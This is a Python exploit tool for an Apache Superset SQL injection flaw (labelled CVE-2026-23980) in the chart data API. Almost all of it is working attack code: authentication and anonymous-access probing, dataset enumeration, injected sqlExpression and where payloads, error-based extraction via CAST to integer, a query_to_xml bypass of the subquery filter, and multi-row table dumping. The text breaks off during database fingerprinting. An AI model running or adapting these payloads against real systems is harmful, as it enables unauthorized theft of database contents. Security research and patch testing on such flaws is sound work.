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| #!/usr/bin/env python3
"""
CVE-2026-23980 -- Apache Superset Authenticated Error-Based SQL Injection
=========================================================================
Apache Superset < 6.0.0 allows authenticated users with read access to
perform error-based SQL injection via the 'sqlExpression' or 'where'
parameters in the /api/v1/chart/data endpoint.
Kill chain:
POST /api/v1/chart/data
-> ChartDataRestApi.data() -> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query() -> adhoc column sqlExpression
-> validate_adhoc_subquery() BYPASSED via query_to_xml()
-> raw SQL hits the database -> data extraction
For AUTHORIZED SECURITY RESEARCH ONLY.
CVSS 6.5 | CWE-89 | Fixed in Apache Superset 6.0.0
"""
from __future__ import annotations
import argparse
import json
import sys
import textwrap
import time
import random
import re
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
try:
import requests
from requests.exceptions import ConnectionError, Timeout
except ImportError:
print("[!] 'requests' library required: pip install requests")
sys.exit(1)
# -- Globals -----------------------------------------------------------------
VERBOSITY = 1
# -- ANSI --------------------------------------------------------------------
class C:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
MAGENTA = "\033[95m"
WHITE = "\033[97m"
GRAY = "\033[90m"
BOLD = "\033[1m"
DIM = "\033[2m"
BLINK = "\033[5m"
RESET = "\033[0m"
# -- Output helpers ----------------------------------------------------------
_glitch_chars = list("\u2591\u2592\u2593\u2588\u2580\u2584\u258c\u2590")
_print_lock = threading.Lock()
def _glitch(n: int = 12) -> str:
return "".join(random.choice(_glitch_chars) for _ in range(n))
def _typewriter(text: str, speed: float = 0.02):
for ch in text:
sys.stdout.write(ch)
sys.stdout.flush()
time.sleep(speed)
print()
def info(msg):
if VERBOSITY >= 1:
print(f" {C.CYAN}[*]{C.RESET} {msg}")
def good(msg):
print(f" {C.GREEN}[+]{C.RESET} {msg}")
def warn(msg):
print(f" {C.YELLOW}[!]{C.RESET} {msg}")
def fail(msg):
print(f" {C.RED}{C.BOLD}[-]{C.RESET} {msg}")
def creepy(msg):
if VERBOSITY >= 1:
print(f" {C.MAGENTA}[~]{C.RESET} {C.MAGENTA}{msg}{C.RESET}")
def debug(msg):
if VERBOSITY >= 2:
print(f" {C.GRAY}[DEBUG]{C.RESET} {C.DIM}{msg}{C.RESET}")
def print_table(headers: list[str], rows: list[list[str]], title: str = ""):
"""Print a sqlmap-style ASCII table."""
if not rows:
return
col_widths = [len(h) for h in headers]
for row in rows:
for i, cell in enumerate(row):
if i < len(col_widths):
col_widths[i] = max(col_widths[i], len(str(cell)))
sep = "+-" + "-+-".join("-" * w for w in col_widths) + "-+"
hdr = "| " + " | ".join(h.ljust(w) for h, w in zip(headers, col_widths)) + " |"
if title:
print(f"\n {C.WHITE}{C.BOLD}{title}{C.RESET}")
print(f" {sep}")
print(f" {C.BOLD}{hdr}{C.RESET}")
print(f" {sep}")
for row in rows:
cells = []
for i, w in enumerate(col_widths):
val = str(row[i]) if i < len(row) else ""
cells.append(val.ljust(w))
print(f" | {' | '.join(cells)} |")
print(f" {sep}")
print(f" {C.DIM}[{len(rows)} row(s)]{C.RESET}")
# -- Session management ------------------------------------------------------
def login(base_url: str, username: str, password: str,
timeout: int = 15) -> requests.Session | None:
session = requests.Session()
try:
r = session.post(
f"{base_url}/api/v1/security/login",
json={"username": username, "password": password,
"provider": "db", "refresh": True},
timeout=timeout,
)
if r.status_code != 200:
fail(f"login failed: HTTP {r.status_code}")
return None
token = r.json().get("access_token")
if not token:
fail("no access_token in response")
return None
session.headers.update({"Authorization": f"Bearer {token}"})
except Exception as e:
fail(f"login error: {e}")
return None
try:
r = session.get(f"{base_url}/api/v1/security/csrf_token/", timeout=timeout)
if r.status_code == 200:
csrf = r.json().get("result")
if csrf:
session.headers.update({"X-CSRFToken": csrf})
except Exception:
pass
return session
def try_anonymous(base_url: str, timeout: int = 15) -> requests.Session | None:
"""Try to access Superset without authentication.
Works when PUBLIC_ROLE_LIKE is set (e.g. "Gamma"), giving anonymous
users read access to datasets and the chart/data endpoint.
Also tries to grab a CSRF token from the login page cookies, which
some Superset configs expose to anonymous users.
"""
session = requests.Session()
# Step 1: Hit the main page to pick up any session cookies
try:
r = session.get(base_url, timeout=timeout)
except Exception:
pass
# Step 2: Try to get a CSRF token (some configs expose this anonymously)
try:
r = session.get(f"{base_url}/api/v1/security/csrf_token/", timeout=timeout)
if r.status_code == 200:
csrf = r.json().get("result")
if csrf:
session.headers.update({"X-CSRFToken": csrf})
debug(f"got anonymous CSRF token")
except Exception:
pass
# Step 3: Test if we can actually hit the chart/data endpoint
# Try a minimal request to see if we get 401/403 or something else
test_body = {
"datasource": {"id": 1, "type": "table"},
"queries": [{
"columns": [{"label": "test", "sqlExpression": "1",
"expressionType": "SQL"}],
"metrics": [], "filters": [],
"extras": {"having": "", "where": ""},
"row_limit": 1, "time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
try:
r = session.post(f"{base_url}/api/v1/chart/data",
json=test_body, timeout=timeout)
if r.status_code in (200, 400, 422, 500):
# Got past auth — public role is active
return session
elif r.status_code in (401, 403):
return None
except Exception:
pass
return None
def check_version(base_url: str, timeout: int = 10) -> str | None:
for endpoint in ["/api/v1/version", "/health"]:
try:
r = requests.get(f"{base_url}{endpoint}", timeout=timeout)
if r.status_code == 200:
data = r.json()
v = data.get("result", {}).get("version") or data.get("version")
if v:
return v
except Exception:
pass
return None
def is_vulnerable(version: str) -> bool:
try:
parts = [int(x) for x in version.strip().split(".")[:3]]
return parts[0] < 6
except ValueError:
return False
def enumerate_datasources(base_url: str, session: requests.Session,
timeout: int = 15) -> list[dict]:
datasources = []
try:
r = session.get(f"{base_url}/api/v1/dataset/",
params={"q": "(page_size:50)"}, timeout=timeout)
if r.status_code == 200:
for ds in r.json().get("result", []):
datasources.append({
"id": ds.get("id"),
"name": ds.get("table_name") or ds.get("datasource_name"),
"schema": ds.get("schema"),
"database": ds.get("database", {}).get("database_name", "?"),
"type": ds.get("datasource_type", "table"),
})
except Exception:
pass
return datasources
# -- SQL Injection core -------------------------------------------------------
def build_chart_data_payload(datasource_id: int, datasource_type: str = "table",
injection_point: str = "sqlExpression",
sqli_payload: str = "1") -> dict:
if injection_point == "sqlExpression":
return {
"datasource": {"id": datasource_id, "type": datasource_type},
"queries": [{
"columns": [{
"label": "injected",
"sqlExpression": sqli_payload,
"expressionType": "SQL",
}],
"metrics": [], "filters": [],
"extras": {"having": "", "where": ""},
"row_limit": 1000, "order_desc": True,
"time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
else:
return {
"datasource": {"id": datasource_id, "type": datasource_type},
"queries": [{
"columns": [],
"metrics": [{"label": "cnt", "expressionType": "SQL",
"sqlExpression": "COUNT(*)"}],
"filters": [],
"extras": {"having": "", "where": sqli_payload},
"row_limit": 1, "order_desc": True,
"time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
def send_sqli(base_url: str, session: requests.Session, datasource_id: int,
sqli_payload: str, injection_point: str = "sqlExpression",
datasource_type: str = "table",
timeout: int = 30) -> tuple[int, str]:
body = build_chart_data_payload(datasource_id, datasource_type,
injection_point, sqli_payload)
debug(f"SQL payload: {sqli_payload}")
try:
r = session.post(f"{base_url}/api/v1/chart/data", json=body, timeout=timeout)
if VERBOSITY >= 3:
debug(f"HTTP {r.status_code}: {r.text[:300]}")
return r.status_code, r.text
except Exception as e:
return 0, str(e)
def extract_from_direct(response_text: str) -> list[dict] | None:
"""Parse all rows from a successful JSON response."""
try:
data = json.loads(response_text)
results = data.get("result", [])
if results and results[0].get("data"):
return results[0]["data"]
except Exception:
pass
return None
def extract_single_from_direct(response_text: str) -> str | None:
"""Extract a single value from direct response."""
rows = extract_from_direct(response_text)
if rows:
row = rows[0]
val = row.get("injected")
if val is not None:
return str(val)
return None
def extract_from_error(response_text: str) -> str | None:
patterns = [
r'invalid input syntax for (?:type )?integer: "([^"]*)"',
r'"message":\s*".*?invalid input syntax.*?\\"([^\\]*)\\"',
]
for pat in patterns:
m = re.search(pat, response_text)
if m:
return m.group(1)
return None
def sqli_extract_string(sql_expr: str) -> str:
return f"CAST(({sql_expr}) AS INT)"
def sqli_xml_bypass(sql_query: str) -> str:
return f"query_to_xml('{sql_query}', true, false, '')"
def extract_value(base_url, session, ds_id, sql, inj_point="sqlExpression",
xml_bypass=False, timeout=30) -> str | None:
"""Extract a single value. Tries direct, then error-based."""
# Direct
if inj_point == "sqlExpression":
status, text = send_sqli(base_url, session, ds_id, f"({sql})",
injection_point=inj_point, timeout=timeout)
result = extract_single_from_direct(text)
if result:
return result
# Error-based
if xml_bypass:
inner = sqli_xml_bypass(sql.replace("'", "''"))
payload = f"CAST(({inner})::text AS INT)"
else:
payload = sqli_extract_string(sql)
if inj_point == "where":
payload = f"1=1 AND {payload} > 0"
status, text = send_sqli(base_url, session, ds_id, payload,
injection_point=inj_point, timeout=timeout)
return extract_from_error(text)
def extract_rows(base_url, session, ds_id, sql, inj_point="sqlExpression",
xml_bypass=False, timeout=30,
start=0, stop=100) -> list[str]:
"""Extract multiple rows using LIMIT/OFFSET."""
results = []
base_sql = re.sub(r'\s+LIMIT\s+\d+', '', sql, flags=re.I)
base_sql = re.sub(r'\s+OFFSET\s+\d+', '', base_sql, flags=re.I)
for offset in range(start, stop):
query = f"{base_sql} LIMIT 1 OFFSET {offset}"
val = extract_value(base_url, session, ds_id, query,
inj_point=inj_point, xml_bypass=xml_bypass,
timeout=timeout)
if val is None:
break
results.append(val)
if VERBOSITY >= 1:
sys.stdout.write(f"\r {C.CYAN}[*]{C.RESET} extracting... "
f"{C.BOLD}{len(results)}{C.RESET} row(s)")
sys.stdout.flush()
if results and VERBOSITY >= 1:
print()
return results
def extract_multi_column_direct(base_url, session, ds_id, columns: list[str],
inj_point="sqlExpression", timeout=30,
start=0, stop=20) -> list[list[str]]:
"""Extract multi-column data using direct sqlExpression reads.
Instead of SELECT col FROM table (blocked by subquery filter),
we inject the column name directly as the sqlExpression. This reads
from the datasource's underlying table without a FROM clause.
We use row_limit and offset via multiple requests.
"""
# Build payload with all columns at once
body = {
"datasource": {"id": ds_id, "type": "table"},
"queries": [{
"columns": [
{"label": col, "sqlExpression": col, "expressionType": "SQL"}
for col in columns
],
"metrics": [], "filters": [],
"extras": {"having": "", "where": ""},
"row_limit": stop - start,
"row_offset": start,
"order_desc": False,
"time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
try:
r = session.post(f"{base_url}/api/v1/chart/data", json=body, timeout=timeout)
if r.status_code == 200:
data = r.json().get("result", [{}])[0].get("data", [])
rows = []
for row in data:
rows.append([str(row.get(col, "NULL")) for col in columns])
return rows
except Exception:
pass
return []
def extract_multi_column_rows(base_url, session, ds_id, columns: list[str],
table: str, inj_point="sqlExpression",
xml_bypass=False, timeout=30,
start=0, stop=20, where="") -> list[list[str]]:
"""Extract multiple columns per row. Tries direct read first, then subquery."""
# Strategy 1: Direct column read (works when ds_id matches the table)
if inj_point == "sqlExpression" and not xml_bypass:
rows = extract_multi_column_direct(base_url, session, ds_id, columns,
inj_point=inj_point, timeout=timeout,
start=start, stop=stop)
if rows:
if VERBOSITY >= 1:
print(f" {C.CYAN}[*]{C.RESET} extracted {C.BOLD}{len(rows)}{C.RESET} row(s) via direct read")
return rows
# Strategy 2: Subquery per column (works with xml_bypass on PostgreSQL)
rows = []
where_clause = f" WHERE {where}" if where else ""
for offset in range(start, stop):
row_data = []
empty = True
for col in columns:
sql = f"SELECT {col} FROM {table}{where_clause} LIMIT 1 OFFSET {offset}"
val = extract_value(base_url, session, ds_id, sql,
inj_point=inj_point, xml_bypass=xml_bypass,
timeout=timeout)
if val is not None:
empty = False
row_data.append(val or "NULL")
if empty:
break
rows.append(row_data)
if VERBOSITY >= 1:
sys.stdout.write(f"\r {C.CYAN}[*]{C.RESET} dumping... "
f"{C.BOLD}{len(rows)}{C.RESET} row(s)")
sys.stdout.flush()
if rows and VERBOSITY >= 1:
print()
return rows
# -- DB Fingerprinting -------------------------------------------------------
def fingerprint_db(base_url, session, ds_id, inj_point="sqlExpression",
timeout=30) -> str:
"""Detect backend database type. Returns 'sqlite', 'postgresql', or 'unknown'."""
info("fingerprinting backend database...")
# Try SQLite — sqlite_version() is a scalar function (no FROM)
status, text = send_sqli(base_url, session, ds_id, "(SELECT sqlite_version())",
injection_point=inj_point, timeout=timeout)
|
